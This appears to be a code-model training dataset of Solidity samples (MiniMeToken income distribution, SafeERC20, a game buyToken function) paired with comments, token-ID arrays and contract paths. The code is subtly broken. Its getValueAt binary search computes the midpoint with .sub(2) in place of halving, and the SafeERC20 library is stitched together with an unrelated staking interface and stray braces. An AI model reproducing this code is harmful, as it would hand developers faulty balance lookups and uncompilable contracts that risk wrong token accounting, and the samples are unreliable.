(collectLatestPayments(_investor).add(incomeOwed[_investor]).div(scalingFactor)); } // @notice returns ERC20 token. Returns null if the token uses Ether. function getERC20() external view returns(address){ return address(erc20); } // ------------------------------------------------------------------------ // Modifiers // ------------------------------------------------------------------------ // Updates the amount owed to investor while holding tokenSupply // @dev must be called before transfering tokens modifier updateIncomeClaimed(address _investor) { incomeOwed[_investor] = incomeOwed[_investor].add(collectLatestPayments(_investor)); previousValuePerToken[_investor] = valuePerToken; _; } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public constant returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled, address _erc20Address ) public returns(MiniMeToken) { uint256 snapshot = _snapshotBlock == 0 ? block.number.sub(1) : _snapshotBlock; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, snapshot, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled, _erc20Address ); cloneToken.changeController(msg.sender); // An event to make the token easy to find on the blockchain emit NewCloneToken(address(cloneToken), snapshot); return cloneToken; } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount) onlyController updateIncomeClaimed(_owner) public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply.add(_amount) >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo.add(_amount) >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply.add(_amount)); updateValueAtNow(balances[_owner], previousBalanceTo.add(_amount)); emit Transfer(0, _owner, _amount); return true; } // @notice Removing this function as we don't want to destroy investors' assets /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly /* function destroyTokens(address _owner, uint _amount) onlyController updateIncomeClaimed(_owner) public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); emit Transfer(_owner, 0, _amount); return true; } */ //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) onlyController public { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length.sub(1)].fromBlock) return checkpoints[checkpoints.length.sub(1)].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length.sub(1); while (max > min) { uint mid = (max.add(min.add(1))).sub(2); if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid.sub(1); } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length.sub(1)].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length.sub(1)]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } // Fallback function: receives Ether and updates income ledger function () payable external { require(address(erc20) == address(0)); assetIncome = assetIncome.add(msg.value); valuePerToken = valuePerToken.add(msg.value.mul(scalingFactor).div(totalSupply())); emit LogIncomeReceived(msg.sender, msg.value); } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. (Except the token used for profit distribution) /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) onlyController public { require(_token != address(erc20)); if (_token == 0x0) { controller.transfer(address(this).balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event LogIncomeReceived(address indexed _sender, uint _paymentAmount); event LogIncomeCollected(address _address, uint _amount); event LogCheckBalance(uint _difference); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the controller of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( MiniMeToken _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled, address _erc20Address ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled, _erc20Address ); newToken.changeController(msg.sender); emit NewToken(address(newToken), address(_parentToken), _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled, _erc20Address); return newToken; } event NewToken(address token, address parent, uint block, string name, uint decimals, string symbol, bool transfersEnabled, address erc20); }
Fallback function: receives Ether and updates income ledger
function () payable external { require(address(erc20) == address(0)); assetIncome = assetIncome.add(msg.value); valuePerToken = valuePerToken.add(msg.value.mul(scalingFactor).div(totalSupply())); emit LogIncomeReceived(msg.sender, msg.value); }
1,492,720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, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1832, 203, 565, 8843, 429, 203, 565, 3903, 288, 203, 1377, 2583, 12, 2867, 12, 12610, 3462, 13, 422, 1758, 12, 20, 10019, 203, 1377, 3310, 382, 5624, 273, 3310, 382, 5624, 18, 1289, 12, 3576, 18, 1132, 1769, 203, 1377, 460, 2173, 1345, 273, 460, 2173, 1345, 18, 1289, 12, 3576, 18, 1132, 18, 16411, 12, 24576, 6837, 2934, 2892, 12, 4963, 3088, 1283, 1435, 10019, 203, 1377, 3626, 1827, 382, 5624, 8872, 12, 3576, 18, 15330, 16, 1234, 18, 1132, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0xaD24eD9bAb6f235059aCc16F4e4728318799648D/sources/Strategy.sol
Part: OpenZeppelin/[email protected]/SafeERC20* @title SafeERC20 @dev Wrappers around ERC20 operations that throw on failure (when the token contract returns false). Tokens that return no value (and instead revert or throw on failure) are also supported, non-reverting calls are assumed to be successful. To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, which allows you to call the safe operations as `token.safeTransfer(...)`, etc./
library SafeERC20 { using SafeMath for uint256; using Address for address; function BONUS_MULTIPLIER ( ) external view returns ( uint256 ); function add ( uint256 _allocPoint, address _lpToken, bool _withUpdate ) external; function bonusEndBlock ( ) external view returns ( uint256 ); function checkPoolDuplicate ( address _lpToken ) external; function deposit ( uint256 _pid, uint256 _amount ) external; function dev ( address _governance ) external; function devFee ( ) external view returns ( address ); function emergencyWithdraw ( uint256 _pid ) external; function enterStaking ( uint256 _amount ) external; function getMultiplier ( uint256 _from, uint256 _to ) external view returns ( uint256 ); function governance ( ) external view returns ( address ); function leaveStaking ( uint256 _amount ) external; function massUpdatePools ( ) external; function milkshake ( ) external view returns ( address ); function owner ( ) external view returns ( address ); function poolInfo ( uint256 ) external view returns ( PoolInfo memory); function poolLength ( ) external view returns ( uint256 ); function renounceOwnership ( ) external; function set ( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) external; function startBlock ( ) external view returns ( uint256 ); function totalAllocPoint ( ) external view returns ( uint256 ); function transferOwnership ( address newOwner ) external; function updateBonus ( uint256 _bonusEndBlock ) external; function updateMultiplier ( uint256 multiplierNumber ) external; function updatePool ( uint256 _pid ) external; function userInfo ( uint256, address ) external view returns ( UserInfo memory ); function withdraw ( uint256 _pid, uint256 _amount ) external; function pendingCake(uint256 _pid, address _user) external view returns (uint256); } } function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } }
11,104,297
[ 1, 4625, 348, 7953, 560, 30, 225, 6393, 30, 3502, 62, 881, 84, 292, 267, 19, 3190, 94, 881, 84, 292, 267, 17, 16351, 87, 36, 23, 18, 21, 18, 20, 19, 9890, 654, 39, 3462, 14, 632, 2649, 14060, 654, 39, 3462, 632, 5206, 4266, 10422, 6740, 4232, 39, 3462, 5295, 716, 604, 603, 5166, 261, 13723, 326, 1147, 6835, 1135, 629, 2934, 13899, 716, 327, 1158, 460, 261, 464, 3560, 15226, 578, 604, 603, 5166, 13, 854, 2546, 3260, 16, 1661, 17, 266, 1097, 310, 4097, 854, 12034, 358, 506, 6873, 18, 2974, 999, 333, 5313, 1846, 848, 527, 279, 1375, 9940, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 68, 3021, 358, 3433, 6835, 16, 1492, 5360, 1846, 358, 745, 326, 4183, 5295, 487, 1375, 2316, 18, 4626, 5912, 5825, 13, 9191, 5527, 18, 19, 2, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 14060, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 445, 605, 673, 3378, 67, 24683, 2053, 654, 261, 225, 262, 3903, 1476, 1135, 261, 2254, 5034, 11272, 203, 565, 445, 527, 261, 2254, 5034, 389, 9853, 2148, 16, 1758, 389, 9953, 1345, 16, 1426, 389, 1918, 1891, 262, 3903, 31, 203, 565, 445, 324, 22889, 1638, 1768, 261, 225, 262, 3903, 1476, 1135, 261, 2254, 5034, 11272, 203, 565, 445, 866, 2864, 11826, 261, 1758, 389, 9953, 1345, 262, 3903, 31, 203, 565, 445, 443, 1724, 261, 2254, 5034, 389, 6610, 16, 2254, 5034, 389, 8949, 262, 3903, 31, 203, 565, 445, 4461, 261, 1758, 389, 75, 1643, 82, 1359, 262, 3903, 31, 203, 565, 445, 4461, 14667, 261, 225, 262, 3903, 1476, 1135, 261, 1758, 11272, 203, 565, 445, 801, 24530, 1190, 9446, 261, 2254, 5034, 389, 6610, 262, 3903, 31, 203, 565, 445, 6103, 510, 6159, 261, 2254, 5034, 389, 8949, 262, 3903, 31, 203, 565, 445, 31863, 5742, 261, 2254, 5034, 389, 2080, 16, 2254, 5034, 389, 869, 262, 3903, 1476, 1135, 261, 2254, 5034, 11272, 203, 565, 445, 314, 1643, 82, 1359, 261, 225, 262, 3903, 1476, 1135, 261, 1758, 11272, 203, 565, 445, 8851, 510, 6159, 261, 2254, 5034, 389, 8949, 262, 3903, 31, 203, 565, 445, 8039, 1891, 16639, 261, 225, 262, 3903, 31, 203, 565, 445, 312, 330, 79, 7478, 261, 225, 262, 3903, 1476, 1135, 261, 1758, 11272, 203, 565, 445, 3410, 261, 225, 262, 3903, 1476, 1135, 261, 1758, 11272, 203, 565, 445, 2845, 966, 261, 2254, 5034, 262, 3903, 1476, 1135, 261, 8828, 966, 3778, 1769, 203, 565, 445, 2845, 1782, 261, 225, 262, 3903, 1476, 1135, 261, 2254, 5034, 11272, 203, 565, 445, 1654, 8386, 5460, 12565, 261, 225, 262, 3903, 31, 203, 565, 445, 444, 261, 2254, 5034, 389, 6610, 16, 2254, 5034, 389, 9853, 2148, 16, 1426, 389, 1918, 1891, 262, 3903, 31, 203, 565, 445, 787, 1768, 261, 225, 262, 3903, 1476, 1135, 261, 2254, 5034, 11272, 203, 565, 445, 2078, 8763, 2148, 261, 225, 262, 3903, 1476, 1135, 261, 2254, 5034, 11272, 203, 565, 445, 7412, 5460, 12565, 261, 1758, 394, 5541, 262, 3903, 31, 203, 565, 445, 1089, 38, 22889, 261, 2254, 5034, 389, 18688, 407, 1638, 1768, 262, 3903, 31, 203, 565, 445, 1089, 23365, 261, 2254, 5034, 15027, 1854, 262, 3903, 31, 203, 565, 445, 1089, 2864, 261, 2254, 5034, 389, 6610, 262, 3903, 31, 203, 565, 445, 16753, 261, 2254, 5034, 16, 1758, 262, 3903, 1476, 1135, 261, 25003, 3778, 11272, 203, 565, 445, 598, 9446, 261, 2254, 5034, 389, 6610, 16, 2254, 5034, 389, 8949, 262, 3903, 31, 203, 565, 445, 4634, 31089, 12, 11890, 5034, 389, 6610, 16, 1758, 389, 1355, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 97, 203, 203, 203, 97, 203, 203, 203, 565, 445, 4183, 5912, 12, 45, 654, 39, 3462, 1147, 16, 1758, 358, 16, 2254, 5034, 460, 13, 2713, 288, 203, 3639, 389, 1991, 6542, 990, 12, 2316, 16, 24126, 18, 3015, 1190, 4320, 12, 2316, 18, 13866, 18, 9663, 16, 358, 16, 460, 10019, 203, 565, 289, 203, 203, 565, 445, 4183, 5912, 1265, 12, 45, 654, 39, 3462, 1147, 16, 1758, 628, 16, 1758, 358, 16, 2254, 5034, 460, 13, 2713, 288, 203, 3639, 389, 1991, 6542, 990, 12, 2316, 16, 24126, 18, 3015, 1190, 4320, 12, 2316, 18, 13866, 1265, 18, 9663, 16, 628, 16, 358, 16, 460, 10019, 203, 565, 289, 203, 203, 565, 445, 4183, 12053, 537, 12, 45, 654, 39, 3462, 1147, 16, 1758, 17571, 264, 16, 2254, 5034, 460, 13, 2713, 288, 203, 3639, 2583, 12443, 1132, 422, 374, 13, 747, 261, 2316, 18, 5965, 1359, 12, 2867, 12, 2211, 3631, 17571, 264, 13, 422, 374, 3631, 203, 5411, 315, 9890, 654, 39, 3462, 30, 6617, 537, 628, 1661, 17, 7124, 358, 1661, 17, 7124, 1699, 1359, 6, 203, 3639, 11272, 203, 3639, 389, 1991, 6542, 990, 12, 2316, 16, 24126, 18, 3015, 1190, 4320, 12, 2316, 18, 12908, 537, 18, 9663, 16, 17571, 264, 16, 460, 10019, 203, 565, 289, 203, 203, 565, 445, 4183, 382, 11908, 7009, 1359, 12, 45, 654, 39, 3462, 1147, 16, 1758, 17571, 264, 16, 2254, 5034, 460, 13, 2713, 288, 203, 3639, 2254, 5034, 394, 7009, 1359, 273, 1147, 18, 5965, 1359, 12, 2867, 12, 2211, 3631, 17571, 264, 2934, 1289, 12, 1132, 1769, 203, 3639, 389, 1991, 6542, 990, 12, 2316, 16, 24126, 18, 3015, 1190, 4320, 12, 2316, 18, 12908, 537, 18, 9663, 16, 17571, 264, 16, 394, 7009, 1359, 10019, 203, 565, 289, 203, 203, 565, 445, 4183, 23326, 448, 7009, 1359, 12, 45, 654, 39, 3462, 1147, 16, 1758, 17571, 264, 16, 2254, 5034, 460, 13, 2713, 288, 203, 3639, 2254, 5034, 394, 7009, 1359, 273, 1147, 18, 5965, 1359, 12, 2867, 12, 2211, 3631, 17571, 264, 2934, 1717, 12, 1132, 16, 315, 9890, 654, 39, 3462, 30, 23850, 8905, 1699, 1359, 5712, 3634, 8863, 203, 3639, 389, 1991, 6542, 990, 12, 2316, 16, 24126, 18, 3015, 1190, 4320, 12, 2316, 18, 12908, 537, 18, 9663, 16, 17571, 264, 16, 394, 7009, 1359, 10019, 203, 565, 289, 203, 203, 565, 445, 389, 1991, 6542, 990, 12, 45, 654, 39, 3462, 1147, 16, 1731, 3778, 501, 13, 3238, 288, 203, 203, 3639, 1731, 3778, 327, 892, 273, 1758, 12, 2316, 2934, 915, 1477, 12, 892, 16, 315, 9890, 654, 39, 3462, 30, 4587, 17, 2815, 745, 2535, 8863, 203, 5411, 2583, 12, 21457, 18, 3922, 12, 2463, 892, 16, 261, 6430, 13, 3631, 315, 9890, 654, 39, 3462, 30, 4232, 39, 3462, 1674, 5061, 486, 12897, 8863, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/80001/0x9f84EaeA0155A17C5eea7F3579ac4783a51E7B14/sources/GAME_Master.sol
@dev Can be called by any user, to buy a token from a game with a cryptocurrency. @notice If you want to add specialized metadate, use transferAndCall to your own smart contract that has Operator privileges @param game_ - the # of the game that the token comes from @param set_ - the # of the set within the game that the token comes from @param card_ - the # of the card to grant a token copy of @param price_ - the list price, in tokens, of that token (must be non-zero)
function buyToken(uint game_, uint set_, uint card_, uint price_) external returns(uint tokenId_) { require(gameContract.getCardPrice(game_, set_, card_) == price_, "paid == list price"); require(price_ > 0, "price > 0"); require(price_ < 10**40, "price overflow"); address sender = _msgSender(); address seller = game_ == 0 ? (set_ == 0 ? address(erc20Contract) : address(set_)) : address(game_); bytes32 inGameAccount = erc721Contract.getOrCreateInGameAccount(game_, sender); erc20Contract.transferByContract( sender, seller, price_ ); if(seller != address(erc20Contract)) { uint fee = price_.mul(buyTokenFeePoints).div(10000); erc20Contract.transferByContract( seller, address(erc20Contract), fee ); } tokenId_ = _grantToken(inGameAccount, game_, set_, card_, bytes32(uint(-1))); }
8,821,567
[ 1, 4625, 348, 7953, 560, 30, 225, 632, 5206, 4480, 506, 2566, 635, 1281, 729, 16, 358, 30143, 279, 1147, 628, 279, 7920, 598, 279, 13231, 504, 295, 3040, 18, 632, 20392, 971, 1846, 2545, 358, 527, 29158, 312, 1167, 340, 16, 999, 7412, 1876, 1477, 358, 3433, 4953, 282, 13706, 6835, 716, 711, 11097, 19583, 632, 891, 7920, 67, 300, 326, 468, 434, 326, 7920, 716, 326, 1147, 14535, 628, 632, 891, 444, 67, 300, 326, 468, 434, 326, 444, 3470, 326, 7920, 716, 326, 1147, 14535, 628, 632, 891, 5270, 67, 300, 326, 468, 434, 326, 5270, 358, 7936, 279, 1147, 1610, 434, 632, 891, 6205, 67, 300, 326, 666, 6205, 16, 316, 2430, 16, 434, 716, 1147, 261, 11926, 506, 1661, 17, 7124, 13, 2, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 